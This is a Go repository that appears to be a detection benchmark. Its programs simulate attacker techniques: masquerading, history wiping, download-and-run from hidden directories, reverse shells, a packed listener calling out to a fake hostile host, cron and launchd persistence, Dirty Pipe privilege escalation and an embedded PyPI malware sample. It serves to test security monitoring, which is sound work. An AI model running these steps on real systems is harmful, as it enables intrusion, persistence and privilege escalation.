--------------------------------------------------------------------------------
1 | // Simulates process masquerading as a kernel thread [T1036.004]
2 | package main
3 |
4 | import (
5 | "log"
6 | "os"
7 | "runtime"
8 | "time"
9 |
10 | "github.com/erikdubbelboer/gspt"
11 | )
12 |
13 | func main() {
14 | target := "kernel_task"
15 |
16 | switch runtime.GOOS {
17 | case "linux":
18 | target = "[kthreadd]"
19 | case "windows":
20 | target = "rundll32.exe"
21 | }
22 |
23 | log.Printf("%s -> %s", runtime.GOOS, target)
24 |
25 | gspt.SetProcTitle(target)
26 | log.Printf("pid %d is hiding as %q and sleeping ...", os.Getpid(), target)
27 | time.Sleep(60 * time.Second)
28 | }
29 |
--------------------------------------------------------------------------------
/cmd/evade-masquerade-user/main.go:
--------------------------------------------------------------------------------
1 | // Simulates process masquerading as another user process [T1036.004]
2 | package main
3 |
4 | import (
5 | "log"
6 | "os"
7 | "runtime"
8 | "time"
9 |
10 | "github.com/erikdubbelboer/gspt"
11 | )
12 |
13 | func main() {
14 | target := "cloudphotod"
15 |
16 | switch runtime.GOOS {
17 | case "linux":
18 | target = "(sd-pam)"
19 | case "windows":
20 | target = "rundll32.exe"
21 | }
22 |
23 | log.Printf("%s -> %s", runtime.GOOS, target)
24 |
25 | gspt.SetProcTitle(target)
26 | log.Printf("pid %d is hiding as %q and sleeping ...", os.Getpid(), target)
27 | time.Sleep(60 * time.Second)
28 | }
29 |
--------------------------------------------------------------------------------
/cmd/evade-shell-history/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Simulates attack cleanup via bash_history truncation [T1070.003]
4 | package main
5 |
6 | import (
7 | "log"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/simulate"
10 | )
11 |
12 | func main() {
13 | if err := simulate.TruncateShellHistory(); err != nil {
14 | log.Fatalf("unexpected error: %v", err)
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/evade-tools-in-var-tmp-hidden/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Simulates tool transfer using curl & running from /var/tmp/. [T1036.005]
4 | package main
5 |
6 | import (
7 | "log"
8 | "os"
9 | "os/exec"
10 | "runtime"
11 | )
12 |
13 | func main() {
14 | // TODO: Port to Windows (which does not have curl built-in)
15 | dir := "/var/tmp/.hidden"
16 | log.Printf("creating %s ...", dir)
17 | if err := os.MkdirAll(dir, 0o700); err != nil {
18 | log.Fatalf("mkdir failed: %v", err)
19 | }
20 |
21 | if err := os.Chdir(dir); err != nil {
22 | log.Fatalf("chdir failed: %v", err)
23 | }
24 |
25 | url := "https://github.com/kubernetes/minikube/releases/download/v1.25.2/minikube-" + runtime.GOOS + "-" + runtime.GOARCH
26 |
27 | log.Printf("downloading %s to %s", url, dir)
28 | c := exec.Command("curl", "-L", "-o", "xxx", url)
29 | if err := c.Run(); err != nil {
30 | log.Fatalf("run failed: %v", err)
31 | }
32 |
33 | if err := os.Chmod("./xxx", 0o700); err != nil {
34 | log.Fatalf("chmod failed: %v", err)
35 | }
36 |
37 | log.Printf("running %s/xxx ...", dir)
38 | c = exec.Command("./xxx", "version")
39 | out, err := c.CombinedOutput()
40 | if err != nil {
41 | log.Fatalf("run failed: %v", err)
42 | }
43 | log.Printf("output: %s", out)
44 | }
45 |
--------------------------------------------------------------------------------
/cmd/evade-usr-bin-exec-root/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulates malicious program installing itself into /usr/bin [T1036.005]
4 | package main
5 |
6 | import (
7 | "fmt"
8 | "log"
9 | "os"
10 | "os/exec"
11 | "path/filepath"
12 | "strings"
13 |
14 | cp "github.com/otiai10/copy"
15 | )
16 |
17 | func main() {
18 | dest := "/usr/bin/modload"
19 |
20 | if strings.Contains(os.Args[0], filepath.Base(dest)) {
21 | log.Printf("running netstat from %s", os.Args[0])
22 | c := exec.Command("netstat", "-an")
23 | bs, err := c.CombinedOutput()
24 | if err != nil {
25 | log.Fatalf("run failed: %v", err)
26 | }
27 | fmt.Printf("%s\n", bs)
28 | os.Exit(0)
29 | }
30 |
31 | ms, err := os.Stat(os.Args[0])
32 | if err != nil {
33 | log.Fatalf("unable to stat myself: %v", err)
34 | }
35 |
36 | ds, err := os.Stat(dest)
37 | if err == nil && ds.Size() != ms.Size() {
38 | log.Fatalf("found unexpected file in %s", dest)
39 | }
40 |
41 | log.Printf("populating %s ...", dest)
42 | if err := cp.Copy(os.Args[0], dest); err != nil {
43 | log.Fatalf("copy: %v", err)
44 | }
45 |
46 | defer func() {
47 | log.Printf("removing implant from %s ...", dest)
48 | os.Remove(dest)
49 | }()
50 |
51 | if err := os.Chmod(dest, 0o700); err != nil {
52 | log.Fatalf("chmod failed: %v", err)
53 | }
54 |
55 | log.Printf("running %s ...", dest)
56 | c := exec.Command(dest, "ioc")
57 | bs, err := c.CombinedOutput()
58 | if err != nil {
59 | log.Fatalf("run failed: %v", err)
60 | }
61 |
62 | log.Printf("output: %s", bs)
63 | }
64 |
--------------------------------------------------------------------------------
/cmd/exec-bash-reverse-shell/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Launches a temporary reverse shell using bash
4 | package main
5 |
6 | import (
7 | "log"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/simulate"
10 | )
11 |
12 | func main() {
13 | if err := simulate.BashReverseShell(); err != nil {
14 | log.Fatalf("unexpected error: %v", err)
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/exec-curl-to-hidden-url/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Simulates tool transfer using curl to a hidden directory [T1036.005]
4 | package main
5 |
6 | import (
7 | "time"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/iexec"
10 | )
11 |
12 | func main() {
13 | iexec.WithTimeout(30*time.Second, "curl", "-LO", "http://ttp-bench.blogspot.com/home/.tools/archive.tgz")
14 | }
15 |
--------------------------------------------------------------------------------
/cmd/exec-drop-eicar/main.go:
--------------------------------------------------------------------------------
1 | // Simulates droppping a known virus signature (EICAR) onto filesystem
2 | package main
3 |
4 | import (
5 | "io/ioutil"
6 | "log"
7 | "os"
8 | "time"
9 | )
10 |
11 | func main() {
12 | // https://en.wikipedia.org/wiki/EICAR_test_file
13 | e1 := `X5O!P%@AP[4\PZX54(P^)7CC)7}$EI`
14 | e2 := `CAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*`
15 |
16 | tf, err := ioutil.TempFile(os.TempDir(), "eicar.*.exe")
17 | if err != nil {
18 | log.Fatal(err)
19 | }
20 |
21 | tf.WriteString(e1 + e2)
22 | defer func() {
23 | log.Printf("removing %s (did anyone notice?) ...", tf.Name())
24 | os.Remove(tf.Name())
25 | }()
26 |
27 | log.Printf("Dropped %s with known anti-virus signature (EICAR)", tf.Name())
28 | time.Sleep(30 * time.Second)
29 | }
30 |
--------------------------------------------------------------------------------
/cmd/exec-linpeas/main.go:
--------------------------------------------------------------------------------
1 | // Downloads and launches LinPEAS
2 | package main
3 |
4 | import (
5 | "log"
6 | "os"
7 | "time"
8 |
9 | "github.com/cavaliergopher/grab/v3"
10 | "github.com/tstromberg/ttp-bench/pkg/iexec"
11 | )
12 |
13 | func main() {
14 | url := "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"
15 | td := os.TempDir()
16 | bin := "linpeas.sh"
17 | os.Chdir(td)
18 |
19 | log.Printf("Downloading %s to %s ...", url, td)
20 | if _, err := grab.Get(".", url); err != nil {
21 | log.Fatalf("grab: %v", err)
22 | }
23 |
24 | if err := os.Chmod(bin, 0o707); err != nil {
25 | log.Fatalf("chmod failed: %v", err)
26 | }
27 |
28 | defer func() {
29 | log.Printf("removing %s", bin)
30 | os.Remove(bin)
31 | }()
32 |
33 | args := []string{"-s"}
34 | iexec.InteractiveTimeout(90*time.Second, "./"+bin, args...)
35 | }
36 |
--------------------------------------------------------------------------------
/cmd/exec-netcat-listen/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Launches netcat to listen on a port [T1059.004]
4 | package main
5 |
6 | import (
7 | "log"
8 | "time"
9 |
10 | "github.com/tstromberg/ttp-bench/pkg/iexec"
11 | )
12 |
13 | func main() {
14 | if err := iexec.WithTimeout(30*time.Second, "nc", "-l", "12345"); err != nil {
15 | log.Fatalf("run failed: %v", err)
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/cmd/exec-python-reverse-shell/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Launches a temporary reverse shell using Python
4 | package main
5 |
6 | import (
7 | "log"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/simulate"
10 | )
11 |
12 | func main() {
13 | if err := simulate.PythonReverseShell(); err != nil {
14 | log.Fatalf("unexpected error: %v", err)
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/exec-traitor-vuln-probe/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulates probing system for privilege escalation vulns
4 | package main
5 |
6 | import (
7 | "log"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/simulate"
10 | )
11 |
12 | func main() {
13 | if err := simulate.Traitor(); err != nil {
14 | log.Fatalf("exploit failed: %v", err)
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/exec-upx-listener-root/main.go:
--------------------------------------------------------------------------------
1 | // New unsigned obfuscated binary listening from a hidden directory as root
2 | package main
3 |
4 | import (
5 | "log"
6 | "net"
7 | "net/http"
8 | "os"
9 | "os/exec"
10 | "time"
11 |
12 | cp "github.com/otiai10/copy"
13 | "github.com/tstromberg/ttp-bench/pkg/iexec"
14 | )
15 |
16 | var listenPort = ":19"
17 |
18 | func main() {
19 | log.Printf("args: %s", os.Args)
20 | if len(os.Args) > 1 {
21 |
22 | // make outgoing connection
23 | endpoint := "http://dprkportal.kp/239582395810"
24 | log.Printf("fetching %s", endpoint)
25 | http.Get(endpoint)
26 |
27 | log.Printf("listening from %s at %s", os.Args[0], listenPort)
28 | l, err := net.Listen("tcp", listenPort)
29 | if err != nil {
30 | log.Panicf("listen failed: %v", err)
31 | }
32 | defer l.Close()
33 | l.Accept()
34 | os.Exit(0)
35 | }
36 |
37 | upx, err := exec.LookPath("upx")
38 | if err != nil {
39 | log.Fatalf("upx not found: %v", err)
40 | }
41 |
42 | tf, err := os.CreateTemp("/var/tmp", ".XXXX")
43 | if err != nil {
44 | log.Fatalf("create temp: %v", err)
45 | }
46 |
47 | defer os.Remove(tf.Name())
48 | src := os.Args[0]
49 | dest := tf.Name()
50 |
51 | log.Printf("populating %s ...", dest)
52 | if err := cp.Copy(src, dest); err != nil {
53 | log.Fatalf("copy: %v", err)
54 | }
55 |
56 | if err := os.Chmod(dest, 0o777); err != nil {
57 | log.Fatalf("chmod failed: %v", err)
58 | }
59 |
60 | tf.Close()
61 |
62 | c := exec.Command(upx, "-f", dest)
63 | log.Printf("running %s ...", c)
64 | bs, err := c.CombinedOutput()
65 | if err != nil {
66 | log.Fatalf("run failed: %v\n%s", err, bs)
67 | }
68 |
69 | // macOS will kill this process: https://github.com/upx/upx/issues/424
70 | //
71 | // ASP: Security policy would not allow process: 55547, /private/var/tmp/.XXXX3857572708
72 | //
73 | // We've kept this check on macOS because it's still a test to see if
74 | // a SIEM or EDR is relaying these security policy interceptions.
75 | err = iexec.InteractiveTimeout(62*time.Second, dest, "--omg", "--wtf", "--bbq")
76 | if err != nil {
77 | log.Fatalf("err: %v (possibly killed by SIP?)", err)
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/cmd/hidden-listener/main.go:
--------------------------------------------------------------------------------
1 | // New unsigned binary listening from a hidden directory
2 | package main
3 |
4 | import (
5 | "log"
6 | "net"
7 | "os"
8 | "path/filepath"
9 | "time"
10 |
11 | cp "github.com/otiai10/copy"
12 | "github.com/tstromberg/ttp-bench/pkg/iexec"
13 | )
14 |
15 | var listenPort = ":39999"
16 |
17 | func main() {
18 | log.Printf("args: %s", os.Args)
19 | if len(os.Args) > 1 {
20 | log.Printf("listening from %s at %s", os.Args[0], listenPort)
21 | l, err := net.Listen("tcp", listenPort)
22 | if err != nil {
23 | log.Panicf("listen failed: %v", err)
24 | }
25 | defer l.Close()
26 | l.Accept()
27 | os.Exit(0)
28 | }
29 |
30 | cfg, err := os.UserConfigDir()
31 | if err != nil {
32 | log.Fatalf("user config dir: %v", err)
33 | }
34 |
35 | root := filepath.Join(cfg, "ttp-bench")
36 | if err := os.MkdirAll(root, 0o777); err != nil {
37 | log.Fatalf("mkdir: %v", err)
38 | }
39 |
40 | tf, err := os.CreateTemp(root, ".XXXX")
41 | if err != nil {
42 | log.Fatalf("create temp: %v", err)
43 | }
44 |
45 | defer os.Remove(tf.Name())
46 | src := os.Args[0]
47 | dest := tf.Name()
48 |
49 | log.Printf("populating %s ...", dest)
50 | if err := cp.Copy(src, dest); err != nil {
51 | log.Fatalf("copy: %v", err)
52 | }
53 |
54 | if err := os.Chmod(dest, 0o755); err != nil {
55 | log.Fatalf("chmod failed: %v", err)
56 | }
57 |
58 | tf.Close()
59 |
60 | iexec.InteractiveTimeout(70*time.Second, dest, "--not-a-hacker-i-promise")
61 | }
62 |
--------------------------------------------------------------------------------
/cmd/persist-iptables-root/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulates attacker making iptables changes to allow incoming traffic
4 | package main
5 |
6 | import (
7 | "log"
8 | "os/exec"
9 | "time"
10 | )
11 |
12 | func main() {
13 | c := exec.Command("iptables", "-I", "INPUT", "-p", "tcp", "--dport", "12345", "-j", "ACCEPT")
14 | log.Printf("running %s ...", c)
15 | bs, err := c.CombinedOutput()
16 | if err != nil {
17 | log.Fatalf("run failed: %v", err)
18 | }
19 | log.Printf("output: %s", bs)
20 |
21 | time.Sleep(70 * time.Second)
22 |
23 | c = exec.Command("iptables", "-D", "INPUT", "-p", "tcp", "--dport", "12345", "-j", "ACCEPT")
24 | log.Printf("running %s ...", c)
25 | bs, err = c.CombinedOutput()
26 | if err != nil {
27 | log.Fatalf("run failed: %v", err)
28 | }
29 | log.Printf("output: %s", bs)
30 |
31 | }
32 |
--------------------------------------------------------------------------------
/cmd/persist-launchd-com-apple-root/main.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | // Simulates persistance via a fake unsigned Apple launchd service
4 | package main
5 |
6 | import (
7 | "fmt"
8 | "log"
9 | "os"
10 | "path/filepath"
11 | "strings"
12 | "time"
13 |
14 | cp "github.com/otiai10/copy"
15 | "github.com/tstromberg/ttp-bench/pkg/iexec"
16 | )
17 |
18 | var plist = `
19 |
20 |
21 |
22 | Label
23 | __SVC__
24 | Program
25 | __PATH__
26 | RunAtLoad
27 |
28 | KeepAlive
29 |
30 |
31 | `
32 |
33 | func exists(path string) bool {
34 | if _, err := os.Stat(path); err != nil {
35 | return false
36 | }
37 | return true
38 | }
39 |
40 | func main() {
41 | basedir := "/Library/WebServer/.TTPBench"
42 | install := false
43 | if !exists(basedir) {
44 | if err := os.MkdirAll(basedir, 0o755); err != nil {
45 | log.Fatalf("mkdir: %v", err)
46 | }
47 | install = true
48 | }
49 |
50 | dest := filepath.Join(basedir, "Safari")
51 | if !exists(dest) {
52 | log.Printf("populating %s ...", dest)
53 | if err := cp.Copy(os.Args[0], dest); err != nil {
54 | log.Fatalf("copy: %v", err)
55 | }
56 | install = true
57 | }
58 |
59 | svc := "com.apple.ttp-bench"
60 | path := fmt.Sprintf("/Library/LaunchAgents/%s.plist", svc)
61 | if !exists(path) {
62 | contents := []byte(strings.ReplaceAll(strings.ReplaceAll(plist, "__SVC__", svc), "__PATH__", dest))
63 | log.Printf("writing %s to %s ...", contents, path)
64 | err := os.WriteFile(path, contents, 0o555)
65 | if err != nil {
66 | log.Fatalf("writefile: %v", err)
67 | }
68 | install = true
69 | }
70 |
71 | if install {
72 | if err := iexec.WithTimeout(10*time.Second, "/bin/launchctl", "enable", fmt.Sprintf("system/%s", svc)); err != nil {
73 | log.Fatalf("bootstrap: %v", err)
74 | }
75 |
76 | if err := iexec.WithTimeout(10*time.Second, "/bin/launchctl", "bootstrap", "system", path); err != nil {
77 | log.Fatalf("bootstrap: %v", err)
78 | }
79 | defer func() {
80 | if err := iexec.WithTimeout(10*time.Second, "/bin/launchctl", "bootout", "system", path); err != nil {
81 | log.Printf("launchd stop: %v", err)
82 | }
83 | os.Remove(path)
84 | os.Remove(dest)
85 | os.Remove(basedir)
86 | }()
87 | }
88 |
89 | wait := 60 * time.Second
90 | log.Printf("resting for %s ...", wait)
91 | time.Sleep(wait)
92 | }
93 |
--------------------------------------------------------------------------------
/cmd/persist-user-crontab-reboot/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Simulates a command inserting itself into the user crontab for persistence
4 | package main
5 |
6 | import (
7 | "fmt"
8 | "log"
9 | "os"
10 | "os/exec"
11 | "path/filepath"
12 | "time"
13 |
14 | cp "github.com/otiai10/copy"
15 | "github.com/tstromberg/ttp-bench/pkg/iexec"
16 | )
17 |
18 | func main() {
19 | _, err := exec.LookPath("crontab")
20 | if err != nil {
21 | log.Printf("crontab command not found, skipping")
22 | os.Exit(0)
23 | }
24 |
25 | cd, err := os.UserConfigDir()
26 | if err != nil {
27 | log.Panicf("unable to find config dir: %v", err)
28 | }
29 |
30 | dest := filepath.Join(cd, "ioc-persist")
31 | log.Printf("populating %s ...", dest)
32 | if err := cp.Copy(os.Args[0], dest); err != nil {
33 | log.Fatalf("copy: %v", err)
34 | }
35 |
36 | install := fmt.Sprintf(`( crontab -l | egrep -v "%s"; echo @reboot "%s" ) | crontab`, dest, dest)
37 | if err := iexec.WithTimeout(10*time.Second, "sh", "-c", install); err != nil {
38 | log.Fatalf("crontab install failed: %v", err)
39 | }
40 |
41 | defer func() {
42 | remove := fmt.Sprintf(`crontab -l | egrep -v "%s" | crontab`, dest)
43 | if err := iexec.WithTimeout(10*time.Second, "sh", "-c", remove); err != nil {
44 | log.Fatalf("crontab remove failed: %v", err)
45 | }
46 | os.Remove(dest)
47 | }()
48 |
49 | wait := 60 * time.Second
50 | log.Printf("resting for %s ...", wait)
51 | time.Sleep(wait)
52 | }
53 |
--------------------------------------------------------------------------------
/cmd/privesc-traitor-dirty-pipe/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulate CVE-2022-0847 (Dirty pipe) to escalate user privileges to root
4 | package main
5 |
6 | import (
7 | "log"
8 | "os"
9 | "os/exec"
10 | "regexp"
11 | "strconv"
12 | "strings"
13 |
14 | "github.com/tstromberg/ttp-bench/pkg/simulate"
15 | )
16 |
17 | var KernelRe = regexp.MustCompile(`[0-9]+\.[0-9]+(\.[0-9]+)*`)
18 |
19 | // From https://github.com/liamg/traitor/blob/b5ac09a1b55aac51dd249b8d8aef3488117bdd13/pkg/exploits/cve20220847/exploit.go#L33
20 | func IsVulnerable(val string) bool {
21 | ver := KernelRe.FindString(val)
22 |
23 | var segments []int
24 | for _, str := range strings.Split(ver, ".") {
25 | n, err := strconv.Atoi(str)
26 | if err != nil {
27 | return false
28 | }
29 | segments = append(segments, n)
30 | }
31 |
32 | if len(segments) < 3 {
33 | return false
34 | }
35 |
36 | major := segments[0]
37 | minor := segments[1]
38 | patch := segments[2]
39 |
40 | switch {
41 | case major == 5 && minor < 8:
42 | return false
43 | case major > 5:
44 | return false
45 | case minor > 16:
46 | return false
47 | case minor == 16 && patch >= 11:
48 | return false
49 | case minor == 15 && patch >= 25:
50 | return false
51 | case minor == 10 && patch >= 102:
52 | return false
53 | }
54 |
55 | return true
56 | }
57 |
58 | func main() {
59 | c := exec.Command("uname", "-r")
60 | log.Printf("running %s from %s", c, os.Args[0])
61 | bs, err := c.CombinedOutput()
62 | if err != nil {
63 | log.Fatalf("run failed: %v\n%s", err, bs)
64 | }
65 |
66 | kernel := strings.TrimSpace(string(bs))
67 | if !IsVulnerable(kernel) {
68 | log.Printf("kernel %s does not seem vulnerable, skipping ...", kernel)
69 | return
70 | }
71 |
72 | log.Printf("found possibly vulnerable kernel: %s", kernel)
73 |
74 | if err := simulate.Traitor("--exploit", "kernel:CVE-2022-0847"); err != nil {
75 | log.Fatalf("exploit failed: %v", err)
76 | }
77 |
78 | log.Printf("I think we were successful? If so, awesome.")
79 | }
80 |
--------------------------------------------------------------------------------
/cmd/privesc-traitor-docker-socket/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulates using Docker sockets to escalate user privileges to root
4 | package main
5 |
6 | import (
7 | "log"
8 | "os/exec"
9 |
10 | "github.com/tstromberg/ttp-bench/pkg/simulate"
11 | )
12 |
13 | func main() {
14 | _, err := exec.LookPath("docker")
15 | if err != nil {
16 | log.Printf("unable to find docker: %v", err)
17 | return
18 | }
19 |
20 | if err := simulate.Traitor("--exploit", "docker:writable-socket"); err != nil {
21 | log.Fatalf("exploit failed: %v", err)
22 | }
23 |
24 | log.Printf("I think we were successful? If so, awesome.")
25 | }
26 |
--------------------------------------------------------------------------------
/cmd/pypi-supply-chain/main.go:
--------------------------------------------------------------------------------
1 | // Simulates a PyPI supply chain attack using a modified real-world sample
2 | package main
3 |
4 | import (
5 | "log"
6 | "os"
7 | "os/exec"
8 | "path/filepath"
9 |
10 | _ "embed"
11 | )
12 |
13 | //go:embed valyrian_debug.zip
14 | var bs []byte
15 |
16 | func main() {
17 | venv, err := os.MkdirTemp(os.TempDir(), "ttp-py-venv")
18 | if err != nil {
19 | log.Fatalf("create temp: %v", err)
20 | }
21 |
22 | if len(bs) == 0 {
23 | log.Fatalf("embedded 0 byte file")
24 | }
25 |
26 | c := exec.Command("python3", "-m", "venv", venv)
27 | log.Printf("running %s ...", c)
28 | out, err := c.CombinedOutput()
29 | if err != nil {
30 | log.Fatalf("run failed: %v\n%s", err, out)
31 | }
32 |
33 | dest := filepath.Join(venv, "egg.zip")
34 | log.Printf("writing %d bytes to %s", len(bs), dest)
35 | if err := os.WriteFile(dest, bs, 0o500); err != nil {
36 | log.Fatalf("write: %v", err)
37 | }
38 |
39 | c = exec.Command(filepath.Join(venv, "/bin/pip"), "install", dest)
40 | log.Printf("running %s ...", c)
41 | out, err = c.CombinedOutput()
42 | if err != nil {
43 | log.Fatalf("run failed: %v\n%s", err, out)
44 | }
45 | log.Printf("output: %s", out)
46 | }
47 |
--------------------------------------------------------------------------------
/cmd/pypi-supply-chain/valyrian_debug.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tstromberg/ttp-bench/78dc77c3a22ef0bdc0b94e121da3689ea7d0d9e4/cmd/pypi-supply-chain/valyrian_debug.zip
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/tstromberg/ttp-bench
2 |
3 | go 1.17
4 |
5 | require (
6 | github.com/MarinX/keylogger v0.0.0-20210528193429-a54d7834cc1a
7 | github.com/cavaliergopher/grab/v3 v3.0.1
8 | github.com/charmbracelet/bubbles v0.10.3
9 | github.com/charmbracelet/bubbletea v0.20.0
10 | github.com/charmbracelet/lipgloss v0.5.0
11 | github.com/erikdubbelboer/gspt v0.0.0-20210805194459-ce36a5128377
12 | github.com/google/gopacket v1.1.19
13 | github.com/likexian/doh-go v0.6.4
14 | github.com/otiai10/copy v1.7.0
15 | github.com/zellyn/kooky v0.0.0-20210408152652-87b89e95f98f
16 | golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897
17 | )
18 |
19 | require (
20 | github.com/atotto/clipboard v0.1.4 // indirect
21 | github.com/bobesa/go-domain-util v0.0.0-20190911083921-4033b5f7dd89 // indirect
22 | github.com/containerd/console v1.0.3 // indirect
23 | github.com/go-ini/ini v1.62.0 // indirect
24 | github.com/go-sqlite/sqlite3 v0.0.0-20180313105335-53dd8e640ee7 // indirect
25 | github.com/godbus/dbus v4.1.0+incompatible // indirect
26 | github.com/gonuts/binary v0.2.0 // indirect
27 | github.com/keybase/go-keychain v0.0.0-20200502122510-cda31fe0c86d // indirect
28 | github.com/likexian/gokit v0.21.11 // indirect
29 | github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
30 | github.com/mattn/go-isatty v0.0.14 // indirect
31 | github.com/mattn/go-runewidth v0.0.13 // indirect
32 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b // indirect
33 | github.com/muesli/reflow v0.3.0 // indirect
34 | github.com/muesli/termenv v0.11.1-0.20220212125758-44cd13922739 // indirect
35 | github.com/rivo/uniseg v0.2.0 // indirect
36 | github.com/sahilm/fuzzy v0.1.0 // indirect
37 | github.com/zalando/go-keyring v0.1.0 // indirect
38 | golang.org/x/net v0.0.0-20201031054903-ff519b6c9102 // indirect
39 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect
40 | golang.org/x/term v0.0.0-20210422114643-f5beecf764ed // indirect
41 | golang.org/x/text v0.3.4 // indirect
42 | )
43 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/MarinX/keylogger v0.0.0-20210528193429-a54d7834cc1a h1:ItKXWegGGThcahUf+ylKFa5pwqkRJofaOyeGdzwO2mM=
2 | github.com/MarinX/keylogger v0.0.0-20210528193429-a54d7834cc1a/go.mod h1:aKzZ7D15UvH5LboXkeLmcNi+s/f805vUfB+BfW1fqd4=
3 | github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
4 | github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
5 | github.com/bobesa/go-domain-util v0.0.0-20190911083921-4033b5f7dd89 h1:2pkAuIM8OF1fy4ToFpMnI4oE+VeUNRbGrpSLKshK0oQ=
6 | github.com/bobesa/go-domain-util v0.0.0-20190911083921-4033b5f7dd89/go.mod h1:/09nEjna1UMoasyyQDhOrIn8hi2v2kiJglPWed1idck=
7 | github.com/cavaliergopher/grab/v3 v3.0.1 h1:4z7TkBfmPjmLAAmkkAZNX/6QJ1nNFdv3SdIHXju0Fr4=
8 | github.com/cavaliergopher/grab/v3 v3.0.1/go.mod h1:1U/KNnD+Ft6JJiYoYBAimKH2XrYptb8Kl3DFGmsjpq4=
9 | github.com/charmbracelet/bubbles v0.10.3 h1:fKarbRaObLn/DCsZO4Y3vKCwRUzynQD9L+gGev1E/ho=
10 | github.com/charmbracelet/bubbles v0.10.3/go.mod h1:jOA+DUF1rjZm7gZHcNyIVW+YrBPALKfpGVdJu8UiJsA=
11 | github.com/charmbracelet/bubbletea v0.19.3/go.mod h1:VuXF2pToRxDUHcBUcPmCRUHRvFATM4Ckb/ql1rBl3KA=
12 | github.com/charmbracelet/bubbletea v0.20.0 h1:/b8LEPgCbNr7WWZ2LuE/BV1/r4t5PyYJtDb+J3vpwxc=
13 | github.com/charmbracelet/bubbletea v0.20.0/go.mod h1:zpkze1Rioo4rJELjRyGlm9T2YNou1Fm4LIJQSa5QMEM=
14 | github.com/charmbracelet/harmonica v0.1.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
15 | github.com/charmbracelet/lipgloss v0.4.0/go.mod h1:vmdkHvce7UzX6xkyf4cca8WlwdQ5RQr8fzta+xl7BOM=
16 | github.com/charmbracelet/lipgloss v0.5.0 h1:lulQHuVeodSgDez+3rGiuxlPVXSnhth442DATR2/8t8=
17 | github.com/charmbracelet/lipgloss v0.5.0/go.mod h1:EZLha/HbzEt7cYqdFPovlqy5FZPj0xFhg5SaqxScmgs=
18 | github.com/containerd/console v1.0.2/go.mod h1:ytZPjGgY2oeTkAONYafi2kSj0aYggsf8acV1PGKCbzQ=
19 | github.com/containerd/console v1.0.3 h1:lIr7SlA5PxZyMV30bDW0MGbiOPXwc63yRuCP0ARubLw=
20 | github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U=
21 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
22 | github.com/danieljoos/wincred v1.0.2/go.mod h1:SnuYRW9lp1oJrZX/dXJqr0cPK5gYXqx3EJbmjhLdK9U=
23 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
24 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
25 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
26 | github.com/erikdubbelboer/gspt v0.0.0-20210805194459-ce36a5128377 h1:gT+RM6gdTIAzMT7HUvmT5mL8SyG8Wx7iS3+L0V34Km4=
27 | github.com/erikdubbelboer/gspt v0.0.0-20210805194459-ce36a5128377/go.mod h1:v6o7m/E9bfvm79dE1iFiF+3T7zLBnrjYjkWMa1J+Hv0=
28 | github.com/go-ini/ini v1.62.0 h1:7VJT/ZXjzqSrvtraFp4ONq80hTcRQth1c9ZnQ3uNQvU=
29 | github.com/go-ini/ini v1.62.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
30 | github.com/go-sqlite/sqlite3 v0.0.0-20180313105335-53dd8e640ee7 h1:ow5vK9Q/DSKkxbEIJHBST6g+buBDwdaDIyk1dGGwpQo=
31 | github.com/go-sqlite/sqlite3 v0.0.0-20180313105335-53dd8e640ee7/go.mod h1:JxSQ+SvsjFb+p8Y+bn+GhTkiMfKVGBD0fq43ms2xw04=
